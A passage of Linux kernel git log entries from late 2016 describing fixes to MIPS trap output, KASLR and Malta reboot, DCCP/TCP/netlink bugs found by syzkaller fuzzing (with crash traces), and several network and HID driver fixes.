4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") the output from __show_regs() on MIPS has been pretty unreadable due to the lack of KERN_CONT markers. Use pr_cont to provide the appropriate markers & restore the expected register output. Signed-off-by: Paul Burton Signed-off-by: Matt Redfearn Cc: Maciej W. Rozycki Cc: James Hogan Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14432/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit 41000c5819ee5aea8c5c3b388e4e21e679c1b95c Author: Matt Redfearn Date: Wed Oct 19 14:33:22 2016 +0100 MIPS: traps: Fix output of show_code Since commit 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") the output from show_code on MIPS has been pretty unreadable due to the lack of KERN_CONT markers. Use pr_cont to provide the appropriate markers & restore the expected output. Signed-off-by: Matt Redfearn Cc: Maciej W. Rozycki Cc: James Hogan Cc: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14431/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit fe4e09e701213213cf2024e2979ea227c2e36c60 Author: Matt Redfearn Date: Wed Oct 19 14:33:21 2016 +0100 MIPS: traps: Fix output of show_stacktrace Since commit 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") the output from show_stacktrace on MIPS has been pretty unreadable due to the lack of KERN_CONT markers. Use pr_cont to provide the appropriate markers & restore the expected output. Also start a new line with printk such that the presence of timing information does not interfere with output. Signed-off-by: Matt Redfearn Cc: Maciej W. Rozycki Cc: James Hogan Cc: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14430/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit bcf084de5d429c0a321de6e2c508440148da1884 Author: Matt Redfearn Date: Wed Oct 19 14:33:20 2016 +0100 MIPS: traps: Fix output of show_backtrace Since commit 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines") the output from show_backtrace on MIPS has been pretty unreadable due to the lack of KERN_CONT markers. Use pr_cont to provide the appropriate markers & restore the expected output. Signed-off-by: Matt Redfearn Cc: Maciej W. Rozycki Cc: James Hogan Cc: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14429/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 818f38c5b7c4482abd71c64ac4d49911fbefaf9e Author: Matt Redfearn Date: Mon Oct 17 10:09:39 2016 +0100 MIPS: Fix build of compressed image Changes introduced to arch/mips/Makefile for the generic kernel resulted in build errors when making a compressed image if platform-y has multiple values, like this: make[2]: *** No rule to make target `alchemy/'. make[1]: *** [vmlinuz] Error 2 make[1]: Target `_all' not remade because of errors. make: *** [sub-make] Error 2 make: Target `_all' not remade because of errors. Fix this by quoting $(platform-y) as it is passed to the Makefile in arch/mips/boot/compressed/Makefile Reported-by: kernelci.org bot Link: https://storage.kernelci.org/next/next-20161017/mips-gpr_defconfig/build.log Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14405/ Signed-off-by: Ralf Baechle arch/mips/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a59061cfd7ac00f21111d2e8aa7f4ab11d27f6c Author: Matt Redfearn Date: Mon Oct 17 17:25:24 2016 +0100 MIPS: generic: Fix KASLR for generic kernel. The KASLR code requires that the plat_get_fdt() function return the address of the device tree, and it must be available early in the boot, before prom_init() is called. Move the code determining the address of the device tree into plat_get_fdt, and call that from prom_init(). The fdt pointer will be set up by plat_get_fdt() called from relocate_kernel initially and once the relocated kernel has started, prom_init() will use it again to determine the address in the relocated image. Fixes: eed0eabd12ef ("MIPS: generic: Introduce generic DT-based board support") Signed-off-by: Matt Redfearn Reviewed-by: James Hogan Reviewed-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14415/ Signed-off-by: Ralf Baechle arch/mips/generic/init.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 4736697963385e6257ee8e260e97347e858cd962 Author: Matt Redfearn Date: Mon Oct 17 17:21:46 2016 +0100 MIPS: KASLR: Fix handling of NULL FDT If platform code returns a NULL pointer to the FDT, initial_boot_params will not get set to a valid pointer and attempting to find the /chosen node in it will cause a NULL pointer dereference and the kernel to crash immediately on startup - with no output to the console. Fix this by checking that initial_boot_params is valid before using it. Fixes: 405bc8fd12f5 ("MIPS: Kernel: Implement KASLR using CONFIG_RELOCATABLE") Cc: stable@vger.kernel.org # 4.7+ Signed-off-by: Matt Redfearn Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14414/ Signed-off-by: Ralf Baechle arch/mips/kernel/relocate.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 93032e31a5f12df847639db3ad0b7f300bf44b7b Author: Paul Burton Date: Fri Oct 14 10:17:32 2016 +0100 MIPS: Malta: Fixup reboot Commit 10b6ea0959de ("MIPS: Malta: Use syscon-reboot driver to reboot") converted the Malta board to use the generic syscon-reboot driver to handle reboots, but incorrectly used the value 0x4d rather than 0x42 as the magic to write to the reboot register. I also incorrectly believed that syscon/regmap would default to native endianness, but this isn't the case. Force this by specifying with a native-endian property in the devicetree. Signed-off-by: Paul Burton Fixes: 10b6ea0959de ("MIPS: Malta: Use syscon-reboot driver to reboot") Reported-by: Guenter Roeck Cc: linux-mips@linux-mips.org Tested-by: Guenter Roeck Tested-by: Maciej W. Rozycki Patchwork: https://patchwork.linux-mips.org/patch/14396/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/malta.dts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 682c1e52215da4a3e89c14aad60bfc0d400b025f Author: Paul Burton Date: Sat Oct 15 23:03:43 2016 +0100 MIPS: CPC: Provide default mips_cpc_default_phys_base to ignore CPC Provide a default implementation of mips_cpc_default_phys_base() which simply returns 0, and adjust mips_cpc_phys_base() to allow for mips_cpc_default_phys_base() returning 0. This allows kernels which include CPC support to be built without platform code & simply ignore the CPC if it wasn't already enabled by the bootloader. This fixes link failures such as the following from generic defconfigs: arch/mips/built-in.o: In function `mips_cpc_phys_base': arch/mips/kernel/mips-cpc.c:47: undefined reference to `mips_cpc_default_phys_base' [ralf@linux-mips.org: changed prototype for coding style compliance.] Signed-off-by: Paul Burton Reported-by: kbuild test robot Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14401/ Signed-off-by: Ralf Baechle arch/mips/kernel/mips-cpc.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 243d52126184b072a18fe2130ce0008f8aa3a340 Author: WANG Cong Date: Thu Nov 3 09:42:36 2016 -0700 taskstats: fix the length of cgroupstats_cmd_get_policy cgroupstats_cmd_get_policy is [CGROUPSTATS_CMD_ATTR_MAX+1], taskstats_cmd_get_policy[TASKSTATS_CMD_ATTR_MAX+1], but their family.maxattr is TASKSTATS_CMD_ATTR_MAX. CGROUPSTATS_CMD_ATTR_MAX is less than TASKSTATS_CMD_ATTR_MAX, so we could end up accessing out-of-bound. Change cgroupstats_cmd_get_policy to TASKSTATS_CMD_ATTR_MAX+1, this is safe because the rest are initialized to 0's. Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: Cong Wang Signed-off-by: David S. Miller kernel/taskstats.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 00ffc1ba02d876478c125e4305f9a02d40c6d284 Author: WANG Cong Date: Thu Nov 3 09:42:35 2016 -0700 genetlink: fix a memory leak on error path In __genl_register_family(), when genl_validate_assign_mc_groups() fails, we forget to free the memory we possibly allocate for family->attrbuf. Note, some callers call genl_unregister_family() to clean up on error path, it doesn't work because the family is inserted to the global list in the nearly last step. Cc: Jakub Kicinski Cc: Johannes Berg Signed-off-by: Cong Wang Signed-off-by: David S. Miller net/netlink/genetlink.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 990ff4d84408fc55942ca6644f67e361737b3d8e Author: Eric Dumazet Date: Thu Nov 3 08:59:46 2016 -0700 ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped While fuzzing kernel with syzkaller, Andrey reported a nasty crash in inet6_bind() caused by DCCP lacking a required method. Fixes: ab1e0a13d7029 ("[SOCK] proto: Add hashinfo member to struct proto") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Cc: Arnaldo Carvalho de Melo Acked-by: Arnaldo Carvalho de Melo Signed-off-by: David S. Miller net/dccp/ipv6.c | 1 + 1 file changed, 1 insertion(+) commit 29ab5a3b94c87382da06db88e96119911d557293 Author: Guilherme G. Piccoli Date: Thu Nov 3 08:16:20 2016 -0200 ehea: fix operation state report Currently the ehea driver is missing a call to netif_carrier_off() before the interface bring-up; this is necessary in order to initialize the __LINK_STATE_NOCARRIER bit in the net_device state field. Otherwise, we observe state UNKNOWN on "ip address" command output. This patch adds a call to netif_carrier_off() on ehea's net device open callback. Reported-by: Xiong Zhou Reference-ID: IBM bz #137702, Red Hat bz #1089134 Signed-off-by: Guilherme G. Piccoli Signed-off-by: Douglas Miller Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ehea/ehea_main.c | 2 ++ 1 file changed, 2 insertions(+) commit 1aa9d1a0e7eefcc61696e147d123453fc0016005 Author: Eric Dumazet Date: Wed Nov 2 20:30:48 2016 -0700 ipv6: dccp: fix out of bound access in dccp_v6_err() dccp_v6_err() does not use pskb_may_pull() and might access garbage. We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmpv6_notify() are more than enough. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/dccp/ipv6.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 93636d1f1f162ae89ae4f2a22a83bf4fd960724e Author: Eric Dumazet Date: Wed Nov 2 20:21:20 2016 -0700 netlink: netlink_diag_dump() runs without locks A recent commit removed locking from netlink_diag_dump() but forgot one error case. ===================================== [ BUG: bad unlock balance detected! ] 4.9.0-rc3+ #336 Not tainted ------------------------------------- syz-executor/4018 is trying to release lock ([ 36.220068] nl_table_lock ) at: [] netlink_diag_dump+0x1a3/0x250 net/netlink/diag.c:182 but there are no more locks to release! other info that might help us debug this: 3 locks held by syz-executor/4018: #0: [ 36.220068] ( sock_diag_mutex[ 36.220068] ){+.+.+.} , at: [ 36.220068] [] sock_diag_rcv+0x1b/0x40 #1: [ 36.220068] ( sock_diag_table_mutex[ 36.220068] ){+.+.+.} , at: [ 36.220068] [] sock_diag_rcv_msg+0x140/0x3a0 #2: [ 36.220068] ( nlk->cb_mutex[ 36.220068] ){+.+.+.} , at: [ 36.220068] [] netlink_dump+0x50/0xac0 stack backtrace: CPU: 1 PID: 4018 Comm: syz-executor Not tainted 4.9.0-rc3+ #336 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff8800645df688 ffffffff81b46934 ffffffff84eb3e78 ffff88006ad85800 ffffffff82dc8683 ffffffff84eb3e78 ffff8800645df6b8 ffffffff812043ca dffffc0000000000 ffff88006ad85ff8 ffff88006ad85fd0 00000000ffffffff Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [] print_unlock_imbalance_bug+0x17a/0x1a0 kernel/locking/lockdep.c:3388 [< inline >] __lock_release kernel/locking/lockdep.c:3512 [] lock_release+0x8e8/0xc60 kernel/locking/lockdep.c:3765 [< inline >] __raw_read_unlock ./include/linux/rwlock_api_smp.h:225 [] _raw_read_unlock+0x1a/0x30 kernel/locking/spinlock.c:255 [] netlink_diag_dump+0x1a3/0x250 net/netlink/diag.c:182 [] netlink_dump+0x397/0xac0 net/netlink/af_netlink.c:2110 Fixes: ad202074320c ("netlink: Use rhashtable walk interface in diag dump") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: David S. Miller net/netlink/diag.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 6706a97fec963d6cb3f7fc2978ec1427b4651214 Author: Eric Dumazet Date: Wed Nov 2 19:00:40 2016 -0700 dccp: fix out of bound access in dccp_v4_err() dccp_v4_err() does not use pskb_may_pull() and might access garbage. We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmp_socket_deliver() are more than enough. This patch might allow to process more ICMP messages, as some routers are still limiting the size of reflected bytes to 28 (RFC 792), instead of extended lengths (RFC 1812 4.3.2.3) Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/dccp/ipv4.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 346da62cc186c4b4b1ac59f87f4482b47a047388 Author: Eric Dumazet Date: Wed Nov 2 18:04:24 2016 -0700 dccp: do not send reset to already closed sockets Andrey reported following warning while fuzzing with syzkaller WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290 Kernel panic - not syncing: panic_on_warn set ... CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ #293 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000 ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a 0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [] panic+0x1bc/0x39d kernel/panic.c:179 [] __warn+0x1cc/0x1f0 kernel/panic.c:542 [] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [] dccp_set_state+0x229/0x290 net/dccp/proto.c:83 [] dccp_close+0x612/0xc10 net/dccp/proto.c:1016 [] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415 [] sock_release+0x8e/0x1d0 net/socket.c:570 [] sock_close+0x16/0x20 net/socket.c:1017 [] __fput+0x29d/0x720 fs/file_table.c:208 [] ____fput+0x15/0x20 fs/file_table.c:244 [] task_work_run+0xf8/0x170 kernel/task_work.c:116 [< inline >] exit_task_work include/linux/task_work.h:21 [] do_exit+0x883/0x2ac0 kernel/exit.c:828 [] do_group_exit+0x10e/0x340 kernel/exit.c:931 [] get_signal+0x634/0x15a0 kernel/signal.c:2307 [] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807 [] exit_to_usermode_loop+0xe5/0x130 arch/x86/entry/common.c:156 [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190 [] syscall_return_slowpath+0x1a8/0x1e0 arch/x86/entry/common.c:259 [] entry_SYSCALL_64_fastpath+0xc0/0xc2 Dumping ftrace buffer: (ftrace buffer empty) Kernel Offset: disabled Fix this the same way we did for TCP in commit 565b7b2d2e63 ("tcp: do not send reset to already closed sockets") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: David S. Miller net/dccp/proto.c | 4 ++++ 1 file changed, 4 insertions(+) commit c3f24cfb3e508c70c26ee8569d537c8ca67a36c6 Author: Eric Dumazet Date: Wed Nov 2 17:14:41 2016 -0700 dccp: do not release listeners too soon Andrey Konovalov reported following error while fuzzing with syzkaller : IPv4: Attempt to release alive inet socket ffff880068e98940 kasan: CONFIG_KASAN_INLINE enabled kasan: GPF could be caused by NULL-ptr deref or user memory access general protection fault: 0000 [#1] SMP KASAN Modules linked in: CPU: 1 PID: 3905 Comm: a.out Not tainted 4.9.0-rc3+ #333 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 task: ffff88006b9e0000 task.stack: ffff880068770000 RIP: 0010:[] [] selinux_socket_sock_rcv_skb+0xff/0x6a0 security/selinux/hooks.c:4639 RSP: 0018:ffff8800687771c8 EFLAGS: 00010202 RAX: ffff88006b9e0000 RBX: 1ffff1000d0eee3f RCX: 1ffff1000d1d312a RDX: 1ffff1000d1d31a6 RSI: dffffc0000000000 RDI: 0000000000000010 RBP: ffff880068777360 R08: 0000000000000000 R09: 0000000000000002 R10: dffffc0000000000 R11: 0000000000000006 R12: ffff880068e98940 R13: 0000000000000002 R14: ffff880068777338 R15: 0000000000000000 FS: 00007f00ff760700(0000) GS:ffff88006cd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020008000 CR3: 000000006a308000 CR4: 00000000000006e0 Stack: ffff8800687771e0 ffffffff812508a5 ffff8800686f3168 0000000000000007 ffff88006ac8cdfc ffff8800665ea500 0000000041b58ab3 ffffffff847b5480 ffffffff819eac60 ffff88006b9e0860 ffff88006b9e0868 ffff88006b9e07f0 Call Trace: [] security_sock_rcv_skb+0x75/0xb0 security/security.c:1317 [] sk_filter_trim_cap+0x67/0x10e0 net/core/filter.c:81 [] __sk_receive_skb+0x30/0xa00 net/core/sock.c:460 [] dccp_v4_rcv+0xdb2/0x1910 net/dccp/ipv4.c:873 [] ip_local_deliver_finish+0x332/0xad0 net/ipv4/ip_input.c:216 [< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232 [< inline >] NF_HOOK ./include/linux/netfilter.h:255 [] ip_local_deliver+0x1c2/0x4b0 net/ipv4/ip_input.c:257 [< inline >] dst_input ./include/net/dst.h:507 [] ip_rcv_finish+0x750/0x1c40 net/ipv4/ip_input.c:396 [< inline >] NF_HOOK_THRESH ./include/linux/netfilter.h:232 [< inline >] NF_HOOK ./include/linux/netfilter.h:255 [] ip_rcv+0x96f/0x12f0 net/ipv4/ip_input.c:487 [] __netif_receive_skb_core+0x1897/0x2a50 net/core/dev.c:4213 [] __netif_receive_skb+0x2a/0x170 net/core/dev.c:4251 [] netif_receive_skb_internal+0x1b3/0x390 net/core/dev.c:4279 [] netif_receive_skb+0x48/0x250 net/core/dev.c:4303 [] tun_get_user+0xbd5/0x28a0 drivers/net/tun.c:1308 [] tun_chr_write_iter+0xda/0x190 drivers/net/tun.c:1332 [< inline >] new_sync_write fs/read_write.c:499 [] __vfs_write+0x334/0x570 fs/read_write.c:512 [] vfs_write+0x17b/0x500 fs/read_write.c:560 [< inline >] SYSC_write fs/read_write.c:607 [] SyS_write+0xd4/0x1a0 fs/read_write.c:599 [] entry_SYSCALL_64_fastpath+0x1f/0xc2 It turns out DCCP calls __sk_receive_skb(), and this broke when lookups no longer took a reference on listeners. Fix this issue by adding a @refcounted parameter to __sk_receive_skb(), so that sock_put() is used only when needed. Fixes: 3b24d854cb35 ("tcp/dccp: do not touch listener sk_refcnt under synflood") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: David S. Miller include/net/sock.h | 4 ++-- net/core/sock.c | 5 +++-- net/dccp/ipv4.c | 2 +- net/dccp/ipv6.c | 3 ++- 4 files changed, 8 insertions(+), 6 deletions(-) commit 79d8665b9545e128637c51cf7febde9c493b6481 Author: Eric Dumazet Date: Wed Nov 2 14:41:50 2016 -0700 tcp: fix return value for partial writes After my commit, tcp_sendmsg() might restart its loop after processing socket backlog. If sk_err is set, we blindly return an error, even though we copied data to user space before. We should instead return number of bytes that could be copied, otherwise user space might resend data and corrupt the stream. This might happen if another thread is using recvmsg(MSG_ERRQUEUE) to process timestamps. Issue was diagnosed by Soheil and Willem, big kudos to them ! Fixes: d41a69f1d390f ("tcp: make tcp_sendmsg() aware of socket backlog") Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Cc: Soheil Hassas Yeganeh Cc: Yuchung Cheng Cc: Neal Cardwell Tested-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller net/ipv4/tcp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9ee6c5dc816aa8256257f2cd4008a9291ec7e985 Author: Lance Richardson Date: Wed Nov 2 16:36:17 2016 -0400 ipv4: allow local fragmentation in ip_finish_output_gso() Some configurations (e.g. geneve interface with default MTU of 1500 over an ethernet interface with 1500 MTU) result in the transmission of packets that exceed the configured MTU. While this should be considered to be a "bad" configuration, it is still allowed and should not result in the sending of packets that exceed the configured MTU. Fix by dropping the assumption in ip_finish_output_gso() that locally originated gso packets will never need fragmentation. Basic testing using iperf (observing CPU usage and bandwidth) have shown no measurable performance impact for traffic not requiring fragmentation. Fixes: c7ba65d7b649 ("net: ip: push gso skb forwarding handling down the stack") Reported-by: Jan Tluka Signed-off-by: Lance Richardson Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller include/net/ip.h | 3 +-- net/ipv4/ip_forward.c | 2 +- net/ipv4/ip_output.c | 6 ++---- net/ipv4/ip_tunnel_core.c | 11 ----------- net/ipv4/ipmr.c | 2 +- 5 files changed, 5 insertions(+), 19 deletions(-) commit da96786e26c3ae47316db2b92046b11268c4379c Author: David Ahern Date: Wed Nov 2 12:08:25 2016 -0700 net: tcp: check skb is non-NULL for exact match on lookups Andrey reported the following error report while running the syzkaller fuzzer: general protection fault: 0000 [#1] SMP KASAN Dumping ftrace buffer: (ftrace buffer empty) Modules linked in: CPU: 0 PID: 648 Comm: syz-executor Not tainted 4.9.0-rc3+ #333 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 task: ffff8800398c4480 task.stack: ffff88003b468000 RIP: 0010:[] [< inline >] inet_exact_dif_match include/net/tcp.h:808 RIP: 0010:[] [] __inet_lookup_listener+0xb6/0x500 net/ipv4/inet_hashtables.c:219 RSP: 0018:ffff88003b46f270 EFLAGS: 00010202 RAX: 0000000000000004 RBX: 0000000000004242 RCX: 0000000000000001 RDX: 0000000000000000 RSI: ffffc90000e3c000 RDI: 0000000000000054 RBP: ffff88003b46f2d8 R08: 0000000000004000 R09: ffffffff830910e7 R10: 0000000000000000 R11: 000000000000000a R12: ffffffff867fa0c0 R13: 0000000000004242 R14: 0000000000000003 R15: dffffc0000000000 FS: 00007fb135881700(0000) GS:ffff88003ec00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020cc3000 CR3: 000000006d56a000 CR4: 00000000000006f0 Stack: 0000000000000000 000000000601a8c0 0000000000000000 ffffffff00004242 424200003b9083c2 ffff88003def4041 ffffffff84e7e040 0000000000000246 ffff88003a0911c0 0000000000000000 ffff88003a091298 ffff88003b9083ae Call Trace: [] tcp_v4_send_reset+0x584/0x1700 net/ipv4/tcp_ipv4.c:643 [] tcp_v4_rcv+0x198b/0x2e50 net/ipv4/tcp_ipv4.c:1718 [] ip_local_deliver_finish+0x332/0xad0 net/ipv4/ip_input.c:216 ... MD5 has a code path that calls __inet_lookup_listener with a null skb, so inet{6}_exact_dif_match needs to check skb against null before pulling the flag. Fixes: a04a480d4392 ("net: Require exact match for TCP socket lookups if dif is l3mdev") Reported-by: Andrey Konovalov Signed-off-by: David Ahern Tested-by: Andrey Konovalov Signed-off-by: David S. Miller include/linux/ipv6.h | 2 +- include/net/tcp.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit ac9e70b17ecd7c6e933ff2eaf7ab37429e71bf4d Author: Eric Dumazet Date: Wed Nov 2 07:53:17 2016 -0700 tcp: fix potential memory corruption Imagine initial value of max_skb_frags is 17, and last skb in write queue has 15 frags. Then max_skb_frags is lowered to 14 or smaller value. tcp_sendmsg() will then be allowed to add additional page frags and eventually go past MAX_SKB_FRAGS, overflowing struct skb_shared_info. Fixes: 5f74f82ea34c ("net:Add sysctl_max_skb_frags") Signed-off-by: Eric Dumazet Cc: Hans Westgaard Ry Cc: Håkon Bugge Signed-off-by: David S. Miller net/ipv4/tcp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9512925a2cc2b1cd0206bb93bad200a69716f998 Author: Mintz, Yuval Date: Wed Nov 2 16:36:46 2016 +0200 qede: Correctly map aggregation replacement pages Driver allocates replacement buffers before-hand to make sure whenever an aggregation begins there would be a replacement for the Rx buffers, as we can't release the buffer until aggregation is terminated and driver logic assumes the Rx rings are always full. For every other Rx page that's being allocated [I.e., regular] the page is being completely mapped while for the replacement buffers only the first portion of the page is being mapped. This means that: a. Once replacement buffer replenishes the regular Rx ring, assuming there's more than a single packet on page we'd post unmapped memory toward HW [assuming mapping is actually done in granularity smaller than page]. b. Unmaps are being done for the entire page, which is incorrect. Fixes: 55482edc25f06 ("qede: Add slowpath/fastpath support and enable hardware GRO") Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b53df1e9e07984a93ad3454686740fc2f4d6b4b Author: Hariprasad Shenai Date: Wed Nov 2 10:52:53 2016 +0530 cxgb4: correct device ID of T6 adapter Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 14135f30e33ce37b22529f73660d7369cf424375 Author: WANG Cong Date: Tue Nov 1 16:04:36 2016 -0700 inet: fix sleeping inside inet_wait_for_connect() Andrey reported this kernel warning: WARNING: CPU: 0 PID: 4608 at kernel/sched/core.c:7724 __might_sleep+0x14c/0x1a0 kernel/sched/core.c:7719 do not call blocking ops when !TASK_RUNNING; state=1 set at [] prepare_to_wait+0xbc/0x210 kernel/sched/wait.c:178 Modules linked in: CPU: 0 PID: 4608 Comm: syz-executor Not tainted 4.9.0-rc2+ #320 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88006625f7a0 ffffffff81b46914 ffff88006625f818 0000000000000000 ffffffff84052960 0000000000000000 ffff88006625f7e8 ffffffff81111237 ffff88006aceac00 ffffffff00001e2c ffffed000cc4beff ffffffff84052960 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [] __warn+0x1a7/0x1f0 kernel/panic.c:550 [] warn_slowpath_fmt+0xac/0xd0 kernel/panic.c:565 [] __might_sleep+0x14c/0x1a0 kernel/sched/core.c:7719 [< inline >] slab_pre_alloc_hook mm/slab.h:393 [< inline >] slab_alloc_node mm/slub.c:2634 [< inline >] slab_alloc mm/slub.c:2716 [] __kmalloc_track_caller+0x150/0x2a0 mm/slub.c:4240 [] kmemdup+0x24/0x50 mm/util.c:113 [] dccp_feat_clone_sp_val.part.5+0x4f/0xe0 net/dccp/feat.c:374 [< inline >] dccp_feat_clone_sp_val net/dccp/feat.c:1141 [< inline >] dccp_feat_change_recv net/dccp/feat.c:1141 [] dccp_feat_parse_options+0xaa1/0x13d0 net/dccp/feat.c:1411 [] dccp_parse_options+0x721/0x1010 net/dccp/options.c:128 [] dccp_rcv_state_process+0x200/0x15b0 net/dccp/input.c:644 [] dccp_v4_do_rcv+0xf4/0x1a0 net/dccp/ipv4.c:681 [< inline >] sk_backlog_rcv ./include/net/sock.h:872 [] __release_sock+0x126/0x3a0 net/core/sock.c:2044 [] release_sock+0x59/0x1c0 net/core/sock.c:2502 [< inline >] inet_wait_for_connect net/ipv4/af_inet.c:547 [] __inet_stream_connect+0x5d2/0xbb0 net/ipv4/af_inet.c:617 [] inet_stream_connect+0x55/0xa0 net/ipv4/af_inet.c:656 [] SYSC_connect+0x244/0x2f0 net/socket.c:1533 [] SyS_connect+0x24/0x30 net/socket.c:1514 [] entry_SYSCALL_64_fastpath+0x1f/0xc2 arch/x86/entry/entry_64.S:209 Unlike commit 26cabd31259ba43f68026ce3f62b78094124333f ("sched, net: Clean up sk_wait_event() vs. might_sleep()"), the sleeping function is called before schedule_timeout(), this is indeed a bug. Fix this by moving the wait logic to the new API, it is similar to commit ff960a731788a7408b6f66ec4fd772ff18833211 ("netdev, sched/wait: Fix sleeping inside wait event"). Reported-by: Andrey Konovalov Cc: Andrey Konovalov Cc: Eric Dumazet Cc: Peter Zijlstra Signed-off-by: Cong Wang Signed-off-by: David S. Miller net/ipv4/af_inet.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit cf0ea4da4c7df11f7a508b2f37518e0f117f3791 Author: Oliver Neukum Date: Thu Nov 3 12:31:41 2016 +0100 HID: usbhid: add ATEN CS962 to list of quirky devices Like many similar devices it needs a quirk to work. Issuing the request gets the device into an irrecoverable state. Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Jiri Kosina drivers/hid/hid-ids.h | 1 + drivers/hid/usbhid/hid-quirks.c | 1 + 2 files changed, 2 insertions(+) commit 1793e1c5217c2dc447d79720399a1d4e60c47761 Author: Borislav Petkov Date: Sat Oct 29 13:17:40 2016 +0200 HID: intel-ish-hid: Fix !CONFIG_PM build warning Fix drivers/hid/intel-ish-hid/ipc/pci-ish.c:247:12: warning: ‘ish_suspend’ defined but not used [-Wunused-function] static int ish_suspend(struct device *device) ^ drivers/hid/intel-ish-hid/ipc/pci-ish.c:282:12: warning: ‘ish_resume’ defined but not used [-Wunused-function] static int ish_resume(struct device *device) ^ by sticking them in the 